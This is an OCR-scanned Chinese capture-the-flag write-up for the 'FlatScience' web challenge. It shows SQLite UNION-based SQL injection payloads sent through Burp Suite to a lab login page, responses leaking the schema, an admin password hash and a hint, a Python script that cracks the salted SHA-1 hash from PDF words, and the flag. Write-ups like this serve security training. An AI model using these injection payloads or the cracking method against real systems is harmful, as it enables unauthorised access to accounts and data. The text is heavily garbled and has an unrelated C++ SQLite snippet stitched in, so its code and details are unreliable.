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Login

Login Page, do not try to hax here plox!
1D:

‘admin' |

Password:

Submit

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "2801497d9ca18eef4382b18d1889b8bc97e28461"
/html/login.php on line 47

Some Error occourred!

in /var/www
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CppSQLite3Queryquery = db.execQuery("select * fromtarget_table");
while(!query.eof())
{
cout<<"name:"<<query.getStringField("name")<<"age : "<<query.getIntField("age")<<endl;
query.nextRow();

}

query.finalize();

CppSQLite3Query2 — M EHIREXT 5, E#5EE AR, X B HCppSQLite3DB ) — /> i %
execQuery, REREWsqUEANRIT].

eof ¥ AW RTIEH B,

nextRowek #: BT —KiLx;

getStringField i %: REMMFRIINE, FERFHREREE;

getintField ki %: RBHNFERHANE, UEBEERIEE,
T T AL B ZAEESQLIEAN
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Login

_ogin Page, do not try to hax here plox!
D:

Jassword:

Submit

“?php

sb_start ()

2

{!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN">

‘html>

‘head>

istyle>

slockquote { backsround: #Heeeeee;

11 { border-hottom: solid black 2px:
12 { border-hottom: solid hlack lpx;
comment { color: darkgreen:

style>

{meta http—equiv="Content-Tvpe” content="text/html: charset=iso—-8859-1">

Hi&? debugZ %t BLUEAD 55

B R EAILSQLIES]:

"SELECT id,name from Users where name='".$user."' and password='".shal($pass."Salz!").""'"

i SQLIEANE A B BATB T i F E A SQLIEH]:

' union select name,sql from sqlite master--




X5 & F)k B8 B A Set-Cookie 7 Bt

B Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecan

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer I Extender T Project options I User options | Alerts | CO2 | xssValidator

1% [2= |3 |4=[5=]6=[F=x

| 8 | cancel | <|v || >|r | | Folow rediecton |

Request

Raw | Params | Headers | Hex

Target: http:i111.198.29.46:52636 | & | 7
Response

Raw | Headers | Hex [ HTML ( Render

POST /login.php HTTR/1.1 4 HTTP/1.1302 Found LA\
Host: 111.198.29.45:52636 Date: Fri, 27 Sep 2019 06:58:34 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Server: Apache/2.4.10 (Debian)
rv:69.0) Gecko/20100101 Firefox/69.0 X-Powered-By: PHP/5.5.30
Accept: Set-Cookie:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*q name=+CREATE+TABLE+Users%28id +int+primary+key%2Cname +varchar%28255%2 9%2Cpassword +varchar%28
=0.8 255%28%2Chint+varchar%28255%29%29; expires=Fri, 27-Sep-2019 06:59:34 GMT; Max-Age=60; path=/
Accept-Language: Location: /
zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q= Content-Length: 699
0.2 Connection: close
Content-Type: application/x-www-form-urlencoded Content-Type: text/html; charset=UTF-3
Content-Length: 54
Connection: close <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
Referer: http://111.188.29.45:52636/login.php
Upgrade-Insecure-Requests: 1 <html>
Pragma: no-cache <head>
Cache-Contrel: no-cache <style>

blockquote { background: #eeeeee; }
usr="union select name,sql from sqlite_master--8pw= h1 { border-bottom: solid black 2px; }

h2 { border-bottom: solid black 1px; }

.comment { color: darkgreen; }

</style>

. <meta http-equiv="Content-Type" content="text/html; charset=/s0-8859-1"> .
L <title>l anin< /ttle > X

Fadl o b ol sl I tina s caarh tarm

A matrhas

Fadl ol h ol sl I rima s casrh tarm

A matrhas

+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

B HEBAISQL: usr=%27 UNION SELECT id, password from Users—+&pw=chybeta
MEE WA P AISQL: usr=%27 UNION SELECT id, name from Users —-+&pw=chybeta
MIEEHBREAE R HISQL: usr=%27 UNION SELECT id, hint from Users—+&pw=chybeta

% 2% 10 i HH B 0 ) 2 -

Request

j Raw T Params T Headers | Hex

Response

J RawT Headers | Hex | HTML T Render ]

POST /login.php HTTP/1.1

Host: 111.198.29.45:52636

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:59.0) Gecko/20100101
Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HIK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded

Content-Length: 55

Connection: close

Referer: http://111.198.29.45:52636/login.php

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

usr=%27 UNION SELECT id, name from Users --+8pw=chybeta

name=+admin

Request Hesponse

Raw | Params | Headers | Hex Raw

e

Headers | Hex

HTTP/1.1 302 Found

Date: Fri, 27 Sep 2019 07:20:23 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHF/5.6.30

Set-Cookie: name=+admin; expires=Fri,
path=/

Location: /

Content-Length: 699

Connection: close

Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC *-//W3C//DTD

<html>
<head>
<style=>

hlackaunte [ hackaraund: #eerepe-

HTML | Render

POST /login.php HTTP/1.1 [a
Host: 111.198.29.45:52636

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x54; rv:59.0) Gecko/20100101
Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*:q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HIK;q=0.5,en-US;q=0.3en;gq=0.2

Content-Type: application/x-www-form-urlencoded Location: /

HTTR/1.1 302 Found

Date: Fri, 27 Sep 2018 07:20:14 GMT

Server: Apache/2.4.10 (Debian)

X-Powered-By: PHP/5.6.30

Set-Cookie: name=+3fab54a50e770d830c0416df817567662a9dc85¢; exy.
27-Sep-2019 07:21:14 GMT; Max-Age=60; path=/

e —tl.EA [T, [TV



LonweEneLeEngLn. oo

Connection: close

Referer: http://111.198.29.45:52635/login.php
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

usr=%27 UNION SELECT id, password from Users--+8ipw=chybeta

name=+3fab54a50e770d830c0416df817567662a9dc85¢c

Request

Raw | Params | Headers | Hex

OoneEne-LengLn. ooy
Connection: close
Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "-/fW3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }

Response

Raw | Headers | Hex | HTML | Render

YOST Jlogin.php HTTR/1.1

dost: 111.198.29.45:52636

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:69.0) Gecko/20100101
‘irefox/89.0

\ccept: text/html,application/xhtml+xml application/xml;q=0.9,%/*q=0.8
\ccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
“ontent-Type: application/x-www-form-urlencoded

“ontent-Length: 54

“onnection: close

teferer: http://111.198.29.45:52636/login.php

Jpgrade-Insecure-Requests: 1

ragrma: no-cache

ache-Control: no-cache

1sr=%27 UNION SELECT id, hint from Users--+&pw=chybeta

name=+my-+fav+word+intmy+fav+paper%3F %21

L

HTTP/1.1 302 Found

Date: Fri, 27 Sep 2019 07:20:41 GMT

Server: Apache/2.4.10 (Debian)

X-Powered-By: PHP/5.6.30

Set-Cookie: name=+my+fav+word +in+my+fav+paper®%3F%21; expires=Fri,
27-Sep-2019 07:21:41 GMT; Max-Age=60; path=/

Location: /

Content-Length: 689

Connection: close

Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html=>

<head>
<stvles
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from cStringIO import StringIO

from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

from pdfminer.converter import TextConverter

from pdfminer.layout import LAParams

from pdfminer.pdfpage import PDFPage

import sys

import string

import os

import hashlib

def get pdf():

return [i for i in os.listdir( ) if i.endswith(

def convert pdf 2 text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device TextConverter(rsrcmgr, retstr, codec , laparams=LAParams())
interpreter PDFPageInterpreter(rsrcmgr, device)
with (path, ) as fp:
for page in PDFPage.get_pages(fp, O):
interpreter.process_page(page)
text retstr.getvalue()
device.close()
retstr.close()
return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print i
pdf_text = convert_pdf 2 text(i).split(
for word in pdf_text:

shal password hashlib.shal(word ) .hexdigest()

if shal_password
print word
exit()

if _ _name__
find_password()




AR R D2
Thinderboa
% 3 Fladmin.php L £ #|Flag

Admin-Panel

1D:

|admin |

Password:

Submit

Yay!l!
flag{Th3 Fl4t Earth Prof i$ nOT so Smart huh?}

Flux Horst (Flux dot Horst at rub dot flux)

Z & Kflagh: flag{Th3_Fl4t_Earth Prof i$ nOT_so_Smart_huh?}



	攻防世界WEB进阶之FlatScience
	攻防世界WEB进阶之FlatScience

	一、分析
	二、实操
	三、答案

